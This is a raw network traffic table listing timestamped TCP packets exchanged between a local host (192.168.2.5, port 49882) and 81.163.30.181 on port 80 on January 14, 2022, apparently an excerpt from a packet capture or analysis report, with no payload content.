Jan 14, 2022 21:05:50.954046011 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.954082012 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.954121113 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.954128027 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.954159975 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.954199076 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.954201937 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.954238892 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.954276085 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.954288960 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.954317093 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.954355955 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.954360008 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.954396009 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.954436064 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.954440117 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.954474926 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.954514980 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.954518080 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.954555988 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.954595089 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.954601049 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.954633951 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.954674006 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.954682112 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.954714060 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.954754114 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.954794884 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.954834938 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.954875946 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.954914093 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.954941988 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.954955101 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.954997063 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.955033064 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.955040932 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.955040932 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.955048084 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.955082893 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.955121994 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.955123901 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.955163002 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.955193996 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.955204964 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.955261946 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.955297947 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.955338001 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.955378056 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.955396891 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.955420971 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.955451965 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.955492973 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.955521107 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.955530882 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.955563068 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.955573082 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.955614090 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.955648899 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.955656052 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.955698013 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.955727100 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.955765963 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.955770016 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.955796003 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.955828905 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.955868959 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.955909014 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.955925941 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.955949068 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.955967903 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.955996037 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.956036091 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.956059933 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.957082033 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.965578079 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.965621948 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.965653896 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.976339102 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.014177084 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.014236927 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.014276981 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.014286041 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.014317989 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.014318943 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.014359951 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.014400959 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.014405012 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.014441013 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.014481068 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.014484882 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.014524937 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.014564037 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.014565945 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.014605999 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.014645100 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.014648914 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.014686108 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.014724970 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.014727116 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.014766932 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.014808893 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.014810085 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.014851093 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.014889002 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.014893055 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.014929056 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.014967918 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.014971972 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.015007973 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.015047073 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.015048027 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.015086889 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.015129089 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.015130043 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.015170097 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.015211105 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.015211105 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.015253067 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.015291929 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.015295982 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.015331030 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.015371084 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.015423059 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.015438080 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.015467882 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.015508890 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.015508890 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.015554905 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.015571117 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.015614033 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.015655994 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.015693903 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.015708923 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.015750885 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.015793085 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.015796900 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.015834093 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.015850067 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.015877008 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.015914917 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.015928030 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.016025066 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.016072035 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.016084909 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.016113997 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.016155005 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.016181946 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.016211987 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.016242027 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.016285896 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.016344070 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.016377926 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.016390085 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.016426086 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.016433001 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.016473055 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.016477108 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.016514063 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.016552925 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.016566038 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.016593933 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.016633987 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.016647100 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.016674042 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.016727924 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.016730070 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.016771078 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.016810894 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.016823053 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.016851902 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.016891003 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.016917944 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.016933918 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.016976118 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.016980886 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.017014980 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.017055035 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.017055988 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.017096043 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.017134905 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.017138004 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.017174959 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.017214060 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.017216921 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.017254114 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.017294884 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.017307997 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.017335892 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.017375946 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.017378092 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.017417908 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.017457008 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.017460108 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.017498970 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.017539978 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.023529053 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.026618958 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.034198999 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.034301996 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.062057972 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.075529099 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.075578928 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.075615883 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.075654030 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.075694084 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.075714111 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.075742006 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.075766087 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.075783014 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.075787067 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.075826883 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.075864077 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.075885057 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.075907946 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.075947046 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.075951099 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.075989962 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.076031923 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.076041937 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.076071978 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.076111078 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.076126099 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.076153040 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.076200962 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.076206923 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.076250076 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.076291084 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.076317072 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.076330900 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.076371908 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.076387882 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.076412916 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.076453924 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.076474905 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.076503992 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.076548100 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.076584101 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.076586962 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.076626062 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.076642990 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.076668024 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.076709032 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.076725006 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.076750994 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.076792002 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.076797009 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.076833010 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.076873064 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.076889992 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.076914072 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.076953888 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.076970100 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.076994896 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.077035904 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.077040911 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.077075005 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.077114105 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.077122927 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.077153921 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.077192068 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.077199936 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.077231884 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.077270985 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.077286005 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.077313900 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.077356100 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.077370882 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.077394962 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.077435017 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.077440023 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.077474117 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.077512980 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.077526093 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.077552080 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.077590942 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.077600002 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.077630997 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.077672005 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.077675104 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.077709913 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.077750921 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.077775002 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.077805996 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.077845097 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.077862024 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.077935934 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.077976942 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.077994108 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.078015089 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.078054905 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.078072071 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.078094959 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.078131914 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.078141928 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.078172922 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.078211069 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.078239918 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.078250885 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.078291893 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.078305960 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.078319073 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.078330040 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.078370094 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.078383923 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.078409910 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.078447104 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.078460932 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.078488111 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.078526974 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.078533888 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.078567028 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.078608990 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.078612089 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.078646898 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.078687906 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.078702927 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.078727961 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.078766108 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.078777075 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.078809023 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.078857899 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.084441900 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.092303991 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.092410088 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.105653048 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.111699104 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.136696100 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.136740923 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.136780977 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.136809111 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.136820078 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.136862993 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.136878967 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.136907101 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.136950970 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.136967897 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.136993885 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.137042046 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:51.137044907 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:51.137088060 CET	80	49882	81.163.30.181	192.168.2.5
